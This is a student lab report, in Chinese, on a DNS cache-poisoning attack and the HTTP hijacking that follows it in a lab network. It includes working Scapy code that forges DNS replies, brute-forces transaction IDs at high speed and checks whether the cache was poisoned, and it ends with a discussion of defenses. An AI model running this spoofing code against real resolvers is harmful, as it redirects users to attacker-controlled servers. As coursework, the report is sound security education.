何哲 2019011313 计95
1 DNS 缓存污染攻击
之后获取权威服务器的 ip 地址,这可以在本地使用 nslookup 设置
type=ns
之后查询。得到权威服务器的 ip 地址为
39.107.126.48
,于是可以写出构造 dns 回应包的函数def make_reply(id):
resp = IP(dst="192.168.1.3", src="39.107.126.48") / UDP(dport=10001, sport=53)
rdata = "192.168.2.4"
resp /= DNS(id=id, qr=1, qd=DNSQR(qname="dnslab.imool.net",qtype="A"),
an=DNSRR(rrname="dnslab.imool.net", ttl=1800, rdata=rdata))
return resp
这个函数构造出一个数据为 DNS 的 ip 包并且设置好了源地址、目的地址、源端口号、目的端口号,只不过将 rdata 篡改为了 attacker 服务器的 ip 地址。当前设置 ttl 为 1800 秒。
之后我写出了第一版代码:
id_list = [i for i in range(0, 500)]
def slow_version():
send((IP(dst="192.168.1.3")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="dnslab.imool.net",qtype="A"))))
start_time = time.time()
for id in id_list:
send(make_reply(id))
print(f"use time: {time.time() - start_time}")
首先向 DNS server 发送了一个 DNS 请求,请求域名为
dnslab.imool.net
且 type 为 A 。之后遍历 ip 号并且用 send 函数发送伪造响应包。实验结果如下:发现 500 个包共计发送了 3.770 秒,而从 DNS server 端进行抓包发现它收到权威服务器的回应时间大致为 0.7 秒,使用这个程序大概需要重复 700 遍,每次 10 秒间隔,预计需要 2 小时才能完成攻击。这显然是不够的。
于是需要想办法改进发包速度。首先容易想到,这段程序每次都会重新构建一个包再发送,而每次其实只更改了 DNS 包中的 id 段和 UDP 包的 checksum ,所以可以先构造好包再更改字段。
其次,通过检索发现,scapy 自带的 send 函数每次在发包的时候都会新建一个 socket 连接,这消耗了大量的时间。可以通过
conf.L2socket.send
解决这个问题。于是更改后的代码如下:
id_list = [i for i in range(0, 5000)]
def change_id(dns_packet, new_id, ip_head):
dns_packet[28] = (new_id >> 8) & 0xFF
dns_packet[29] = new_id & 0xFF
dns_packet[26] = 0
dns_packet[27] = 0
ck = in4_chksum(socket.IPPROTO_UDP, ip_head, dns_packet[20:])
# According to RFC768 if the result checksum is 0, it should be set to 0xFFFF # noqa: E501
if ck == 0:
ck = 0xFFFF
dns_packet[26] = struct.pack("!H", ck)[0]
dns_packet[27] = struct.pack("!H", ck)[1]
def fast_version():
s = conf.L2socket()
send((IP(dst="192.168.1.3")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="dnslab.imool.net",qtype="A"))))
start_time = time.time()
reply = make_reply(0)
raw_reply = bytearray(raw(reply))
offset=random.randint(a=0, b=65535)
for id in id_list:
change_id(raw_reply, (id + offset) % 65535, reply[IP])
s.send(raw_reply)
print(f"send {len(id_list)} packets, use time: {time.time() - start_time}")
其中
change_id
负责修改 dns_packet
中的 id 段和 UDP 包的 checksum 。这个函数的实现参考了 scapy.layers.DNS
的源码。在这个版本中,我对 id 的起始进行了随机化(感觉理论上用处不大)。基于此,整个攻击的流程代码如下:
def dns_query_first_ip(dns_name):
dns_result = sr1(IP(dst="192.168.1.3")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname=dns_name,qtype="A")))
layer = 0
dns_result_ip = dns_result.getlayer(DNS).fields['an'][layer].fields['rdata']
return dns_result_ip
if __name__ == '__main__':
times = 0
while times < 100:
times += 1
fast_version()
test_ip = dns_query_first_ip("dnslab.imool.net")
if test_ip == "192.168.2.4":
print("success!")
break
else:
print(f"error with ip {test_ip}")
print(f"try {times} times")
time.sleep(10)
其中
dns_query_first_ip
函数的作用是发送 DNS 请求,测试 ip 是否篡改成果。于是整个流程是发送请求包-发送大量伪造回应包-发送测试包,查看是否攻击成果。实验流程如下:
发现用这种方法能够大大加快发送的速度,发送 5000 个包大致需要 1 秒钟。而在 DNS server 端通过 wireshark 抓包发现,在真正的响应包到来之前可以接受大概 2300 个伪造包。
于是计算可知,大概需要 30 轮,也就是 5 分钟左右,就可以完成攻击。而实际上面的截图中可以看出,进行了 57 轮都没有完成,当时以为是代码写错了,实际上是脸黑…
之后又进行了一次相同的攻击,效果如下:
这次脸终于不黑了,在第 17 轮第时候就攻击成功。此时在 User 主机上使用 nslookup 查询
dns.imool.net
的 ip 地址会发现攻击成功。至此,该实验完成。全部代码附在最后。
p.s. 中途用 wireshark 抓包发现我一开始 UDP 的 checksum 算错了…但好像从 DNS server 往权威服务器发送的请求中 checksum 也不太对?这个忘了截图了。
2 HTTP 中间人劫持攻击
在 DNS 劫持之后,User 访问的真实 ip 地址就变成了
192.168.2.4
,于是只需要在 attack 服务器上修改页面即可。在路径 /var/www/html
中新建 index.html
,内容为我的学号。实现效果如下:攻击成功。
3 思考题
- 请多次尝试上述实验并记录攻击成功所需的时间,并对攻击成功所需的时间进行理论分析,思考如何进一步提高攻击效率。
在本次实验中,我的攻击成功时间为 12 分钟左右。通过 wireshark 抓包分析可知在真实的 DNS 响应包到来之前 DNS server 可以接受大约 2300 个伪造包,于是理论成功时间为 ,大约需要 5 分钟。(可能是我脸比较黑,所以花了两倍的时间)
提高攻击效率的重点在于提高发包速度。目前的构造包的方法需要动态更新 id 和 checksum ,但其实可以提前把包构造好并放入内存,之后直接发送会快一些。
- 如果在上述实验条件下(TXID随即化)的同时开放源端口随机化,可以完全防御缓存污染攻击吗?
可以在一定程度上防范。例如对于我的程序,当开放源端口随机化之后,攻破时间就变成了 ,约为 216 天。实际上,由于现实中可能不会把 ttl 仅设置为 10 秒,所以实际需要的攻击事件还会更多。这在很大程度上可以防范缓存污染攻击,但并不能完全避免。
- 思考如何有效的防御 DNS 缓存污染攻击、HTTP 中间人攻击?
对于 DNS 攻击,端口随机化可以有效防御。但彻底的防御可能需要对 DNS 包进行加密。而 HTTP 中间人攻击可以用 HTTPS 协议的方式进行防御。
参考网址:
https://blog.woefe.com/posts/faster_scapy.html (非常感谢这位朋友提供的思路和代码)
https://scapy.readthedocs.io/en/latest/index.html (从 scapy 官方文档找了不少资料,也看了一些源码)
Loading Comments...